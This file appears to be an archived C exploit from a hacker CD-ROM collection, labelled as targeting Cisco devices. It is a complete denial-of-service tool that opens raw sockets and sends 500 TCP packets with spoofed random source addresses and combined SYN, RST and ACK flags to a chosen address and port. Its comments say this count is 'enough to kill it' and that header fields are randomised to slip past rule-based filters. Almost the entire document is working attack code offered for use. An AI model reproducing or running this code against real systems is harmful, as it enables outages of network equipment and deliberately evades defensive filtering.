home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / cisco / fuckcisco.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  7.1 KB  |  276 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netinet/in.h>
  8. #include <netinet/in_systm.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/ip_tcp.h>
  11. #include <netinet/protocols.h>
  12. #include <netdb.h>
  13.  
  14. unsigned short compute_tcp_checksum(struct tcphdr *th, int len,
  15.           unsigned long saddr, unsigned long daddr)
  16. {
  17.         unsigned long sum;
  18.         __asm__("
  19.             addl %%ecx, %%ebx
  20.             adcl %%edx, %%ebx
  21.             adcl $0, %%ebx
  22.             "
  23.         : "=b"(sum)
  24.         : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
  25.         : "bx", "cx", "dx" );
  26.         __asm__("
  27.             movl %%ecx, %%edx
  28.             cld
  29.             cmpl $32, %%ecx
  30.             jb 2f
  31.             shrl $5, %%ecx
  32.             clc
  33. 1:          lodsl
  34.             adcl %%eax, %%ebx
  35.             lodsl
  36.             adcl %%eax, %%ebx
  37.             lodsl
  38.             adcl %%eax, %%ebx
  39.             lodsl
  40.             adcl %%eax, %%ebx
  41.             lodsl
  42.             adcl %%eax, %%ebx
  43.             lodsl
  44.             adcl %%eax, %%ebx
  45.             lodsl
  46.             adcl %%eax, %%ebx
  47.             lodsl
  48.             adcl %%eax, %%ebx
  49.             loop 1b
  50.             adcl $0, %%ebx
  51.             movl %%edx, %%ecx
  52. 2:          andl $28, %%ecx
  53.             je 4f
  54.             shrl $2, %%ecx
  55.             clc
  56. 3:          lodsl
  57.             adcl %%eax, %%ebx
  58.             loop 3b
  59.             adcl $0, %%ebx
  60. 4:          movl $0, %%eax
  61.             testw $2, %%dx
  62.             je 5f
  63.             lodsw
  64.             addl %%eax, %%ebx
  65.             adcl $0, %%ebx
  66.             movw $0, %%ax
  67. 5:          test $1, %%edx
  68.             je 6f
  69.             lodsb
  70.             addl %%eax, %%ebx
  71.             adcl $0, %%ebx
  72. 6:          movl %%ebx, %%eax
  73.             shrl $16, %%eax
  74.             addw %%ax, %%bx
  75.             adcw $0, %%bx
  76.             "
  77.         : "=b"(sum)
  78.         : "0"(sum), "c"(len), "S"(th)
  79.         : "ax", "bx", "cx", "dx", "si" );
  80.         return((~sum) & 0xffff);
  81. }
  82.  
  83. #define psize ( sizeof(struct iphdr) + sizeof(struct tcphdr)  )
  84. #define tcp_offset  ( sizeof(struct iphdr) )
  85. #define err(x) { fprintf(stderr, x); exit(1); }
  86. #define errors(x, y) { fprintf(stderr, x, y); exit(1); }
  87. struct iphdr temp_ip;
  88. int temp_socket = 0;
  89.  
  90. u_short
  91. ip_checksum (u_short * buf, int nwords)
  92. {
  93.   unsigned long sum;
  94.  
  95.   for (sum = 0; nwords > 0; nwords--)
  96.     sum += *buf++;
  97.   sum = (sum >> 16) + (sum & 0xffff);
  98.   sum += (sum >> 16);
  99.   return ~sum;
  100. }
  101.  
  102. void
  103. fixhost (struct sockaddr_in *addr, char *hostname)
  104. {
  105.   struct sockaddr_in *address;
  106.   struct hostent *host;
  107.  
  108.   address = (struct sockaddr_in *) addr;
  109.   (void) bzero ((char *) address, sizeof (struct sockaddr_in));
  110.   address->sin_family = AF_INET;
  111.   address->sin_addr.s_addr = inet_addr (hostname);
  112.   if ((int) address->sin_addr.s_addr == -1)
  113.     {
  114.       host = gethostbyname (hostname);
  115.       if (host)
  116.         {
  117.           bcopy (host->h_addr, (char *) &address->sin_addr,
  118.                  host->h_length);
  119.         }
  120.       else
  121.         {
  122.           puts ("Couldn't resolve address!!!");
  123.           exit (-1);
  124.         }
  125.     }
  126. }
  127.  
  128. unsigned int
  129. lookup (host)
  130.      char *host;
  131. {
  132.   unsigned int addr;
  133.   struct hostent *he;
  134.  
  135.   addr = inet_addr (host);
  136.   if (addr == -1)
  137.     {
  138.       he = gethostbyname (host);
  139.       if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
  140.         return 0;
  141.  
  142.       bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
  143.     }
  144.   return (addr);
  145. }
  146.  
  147. unsigned short
  148. lookup_port (p)
  149.      char *p;
  150. {
  151.   int i;
  152.   struct servent *s;
  153.  
  154.   if ((i = atoi (p)) == 0)
  155.     {
  156.       if ((s = getservbyname (p, "tcp")) == NULL)
  157.         errors ("Unknown port %s\n", p);
  158.       i = ntohs (s->s_port);
  159.     }
  160.   return ((unsigned short) i);
  161. }
  162.  
  163. void
  164. spoof_packet (struct sockaddr_in local, int fromport, \
  165.            struct sockaddr_in remote, int toport, ulong sequence, \
  166.            int sock, u_char theflag, ulong acknum, \
  167.            char *packdata, int datalen)
  168. {
  169.   char *packet;
  170.   int tempint;
  171.   if (datalen > 0)
  172.     datalen++;
  173.   packet = (char *) malloc (psize + datalen);
  174.   tempint = toport;
  175.   toport = fromport;
  176.   fromport = tempint;
  177.   {
  178.     struct tcphdr *fake_tcp;
  179.     fake_tcp = (struct tcphdr *) (packet + tcp_offset);
  180.     fake_tcp->th_dport = htons (fromport);
  181.     fake_tcp->th_sport = htons (toport);
  182.     fake_tcp->th_flags = theflag;
  183.     fake_tcp->th_seq = random ();
  184.     fake_tcp->th_ack = random ();
  185.     /* this is what really matters, however i randomize everything else
  186.        to prevent simple rule based filters */
  187.     fake_tcp->th_off = random ();
  188.     fake_tcp->th_win = random ();
  189.     fake_tcp->th_urp = random ();
  190.   }
  191.   if (datalen > 0)
  192.     {
  193.       char *tempbuf;
  194.       tempbuf = (char *) (packet + tcp_offset + sizeof (struct tcphdr));
  195.       for (tempint = 0; tempint < datalen - 1; tempint++)
  196.         {
  197.           *tempbuf = *packdata;
  198.           *tempbuf++;
  199.           *packdata++;
  200.         }
  201.       *tempbuf = '\r';
  202.     }
  203.   {
  204.     struct iphdr *real_ip;
  205.     real_ip = (struct iphdr *) packet;
  206.     real_ip->version = 4;
  207.     real_ip->ihl = 5;
  208.     real_ip->tot_len = htons (psize + datalen);
  209.     real_ip->tos = 0;
  210.     real_ip->ttl = 64;
  211.     real_ip->protocol = 6;
  212.     real_ip->check = 0;
  213.     real_ip->id = 10786;
  214.     real_ip->frag_off = 0;
  215.     bcopy ((char *) &local.sin_addr, &real_ip->daddr, sizeof (real_ip->daddr));
  216.     bcopy ((char *) &remote.sin_addr, &real_ip->saddr, sizeof (real_ip->saddr));
  217.     temp_ip.saddr = htonl (ntohl (real_ip->daddr));
  218.     real_ip->daddr = htonl (ntohl (real_ip->saddr));
  219.     real_ip->saddr = temp_ip.saddr;
  220.     real_ip->check = ip_checksum ((u_short *) packet, sizeof (struct iphdr) >> 1);
  221.     {
  222.       struct tcphdr *another_tcp;
  223.       another_tcp = (struct tcphdr *) (packet + tcp_offset);
  224.       another_tcp->th_sum = 0;
  225.       another_tcp->th_sum = compute_tcp_checksum (another_tcp, sizeof (struct tcphdr) + datalen,
  226.                                        real_ip->saddr, real_ip->daddr);
  227.     }
  228.   }
  229.   {
  230.     int result;
  231.     sock = (int) temp_socket;
  232.     result = sendto (sock, packet, psize + datalen, 0,
  233.                      (struct sockaddr *) &remote, sizeof (remote));
  234.   }
  235.   free (packet);
  236. }
  237.  
  238. void
  239. main (argc, argv)
  240.      int argc;
  241.      char **argv;
  242. {
  243.   unsigned int daddr;
  244.   unsigned short dport;
  245.   struct sockaddr_in sin;
  246.   int s, i;
  247.   struct sockaddr_in local, remote;
  248.   u_long start_seq = 4935835 + getpid ();
  249.  
  250.   if (argc != 3)
  251.     errors ("Usage: %s <dest_addr> <dest_port>\n\nDest port of 23n",
  252.           argv[0]);
  253.  
  254.   if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  255.     err ("Unable to open raw socket.\n");
  256.   if ((temp_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  257.     err ("Unable to open raw socket.\n");
  258.   if (!(daddr = lookup (argv[1])))
  259.     err ("Unable to lookup destination address.\n");
  260.   dport = lookup_port (argv[2]);
  261.   sin.sin_family = AF_INET;
  262.   sin.sin_addr.s_addr = daddr;
  263.   sin.sin_port = dport;
  264.   fixhost ((struct sockaddr_in *)(struct sockaddr *) &local, argv[1]);
  265.   fixhost ((struct sockaddr_in *)(struct sockaddr *) &remote, argv[1]);
  266.   /* 500 seems to be enough to kill it */
  267.   for (i = 0; i < 500; i++)
  268.     {
  269.       start_seq++;
  270.       local.sin_addr.s_addr = random ();
  271.       spoof_packet (local, random (), remote, dport, start_seq, (int) s,
  272.         TH_SYN | TH_RST | TH_ACK, 0, NULL, 0);
  273.     }
  274. }
  275.  
  276.